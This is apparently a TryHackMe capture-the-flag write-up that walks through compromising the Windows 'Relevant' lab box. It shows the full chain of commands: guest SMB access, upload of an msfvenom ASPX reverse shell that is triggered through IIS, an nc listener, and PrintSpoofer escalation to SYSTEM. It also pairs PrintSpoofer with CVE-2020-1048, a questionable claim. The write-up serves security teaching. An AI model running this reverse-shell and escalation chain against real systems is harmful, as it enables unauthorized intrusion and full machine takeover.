Post

Relevant (Medium) | TryHackMe

Relevant (Medium) | TryHackMe

What you need before starting

  • A Kali (or similar) attacker machine with nmap, smbclient, netexec, and nc.
  • Authorization to test the target (this is a CTF box).
  • Basic familiarity with Windows privilege escalation paths — especially token impersonation.

In this challenge, I approached the target as a black-box Windows environment and followed a structured penetration-testing methodology. The box turned out to be a great demonstration of:

  • Poor SMB share permissions
  • Insecure web server directory exposure
  • IIS application pool exploitation
  • Classic PrintSpoofer privilege escalation (via SeImpersonatePrivilege)

Below is the full breakdown of the compromise.


Initial Port Scan

I began with my usual full-port scan with service detection. This gives a complete picture of exposed services and helps prioritize enumeration.

1
sudo nmap -sCV 10.81.172.31 --min-rate 1000 -p- -Pn -oA scan

sub

Key findings:

  • Windows host detected
  • SMB exposed
  • IIS web services running
  • Guest account enabled (very interesting)

Testing Guest Access on SMB

Because Nmap hinted that the Guest account was enabled, I immediately verified it using netexec:

1
sudo nxc smb 10.82.128.242 -u 'guest' -p ''

sub

✔ Guest login successful
This meant: unauthenticated access — a major red flag.

I then enumerated the accessible shares:

1
sudo nxc smb 10.82.128.242 -u 'guest' -p '' --shares

sub

The share nt4wrksv allowed both READ and WRITE access and this was concerning


Inspecting the SMB Share

I connected to the share to check it out and found a file named passwords.txt:

1
2
smbclient //10.82.128.242/nt4wrksv -N
get passwords.txt

sub

The file contained what seemed to be credentials but base64 encoded:

1
2
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

went ahead to decode the encoded strings:

1
2
echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
# Bob - !P@$$W0rD!123
1
2
echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
# Bill - Juw4nnaM4n420696969!$$$

sub

I wasted quite some time trying to leverage these credentials for further access but i finally had to accept these credentials were decoys — a common CTF trick.


Web Server Enumeration

After getting no where with those credentials, i went back to the Nmap results which showed two IIS server instances:

sub

Checking the one on port 80 yielded 0 results so i moved to the one on port 49663. I scanned it for hiddeen directories:

sub

The path /nt4wrksv stood out — this matched the SMB share name.
Meaning:

  • IIS was serving files from the same location as the writable SMB share
  • so my guess was, Uploading a .aspx file → executing it via IIS → will lead to Remote Code Execution

So i went ahead to confirm my suspicion by viewing the passwords.txt file from the share drive on the server.

By navigating to the endpoint:

sub

✔ Confirmed — files uploaded via SMB appear in the web directory.


Getting a Reverse Shell (ASPX Payload Upload)

I generated a payload using msfvenom:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=Your_IP LPORT=4444 -f aspx -o revshell.aspx

sub

Uploaded it through the share:

1
2
smbclient //10.82.128.242/nt4wrksv -N
put revshell.aspx

sub

Started my listener:

1
nc -lvnp 4444

sub

Then Triggered the payload via the browser by visiting the endpoint:

sub

✔ Reverse shell received:

sub

I had the shell as the defaultapppool user:

1
iis apppool\defaultapppool

Privilege Escalation

Went ahead to check the permissions our user had

1
whoami /priv

sub

One important privilege stoodout:

1
SeImpersonatePrivilege  → Enabled

Why This Matters

This privilege is essentially free SYSTEM access under the right conditions.

With it, you can:

  • Impersonate privileged tokens
  • Exploit named pipe authentication
  • Abuse spooler interactions
  • Trigger token duplication attacks

This opens the door to:

  • JuicyPotato
  • RoguePotato
  • PrintSpoofer
  • GodPotato

I had the suspicion PrintSpoofer might just be the right option, so i went ahead to confirm that.


Verifying Spooler & OS Version

I checked if the spooler service was running

1
sc query spooler

sub

✔ Print Spooler running

I checked the Windows version and build:

1
systeminfo

sub

✔ Vulnerable build
✔ Unpatched against CVE‑2020‑1048 (PrintSpoofer)


Why the System Was Vulnerable to PrintSpoofer

PrintSpoofer exploits a flaw where the Print Spooler connects to attacker-controlled named pipes.

In short:

  1. Attacker creates a malicious RPC binding / named pipe
  2. Forces spooler (running as SYSTEM) to authenticate to it
  3. Token impersonation occurs because SeImpersonatePrivilege is enabled
  4. Attacker launches a process as SYSTEM

Conditions were perfect:

✔ IIS AppPool identity has impersonation privilege
✔ Spooler running as SYSTEM
✔ Windows version allowed it

All that remained was execution.


Exploiting PrintSpoofer

I went ahead to download the PrintSpoofer64.exe exploit

Uploaded the exploit to the target using the smbshare:

1
2
smbclient //10.81.172.31/nt4wrksv -N
put PrintSpoofer64.exe

since i had shell access i went to the location of the share drive:

1
2
cd C:\inetpub\wwwroot\nt4wrksv
dir

sub

And ran the exploit:

1
.\PrintSpoofer64.exe -i -c cmd.exe

sub

✔ SYSTEM shell obtained
✔ Full machine compromise


Final Thoughts

This box demonstrates how small misconfigurations chain into full compromise:

  • Guest SMB access
  • Writable share exposed directly by IIS
  • Executable .aspx uploads
  • Token impersonation privileges
  • Vulnerable Print Spooler

A clean, classic, well‑designed Windows CTF path.


This post is licensed under CC BY 4.0 by the author.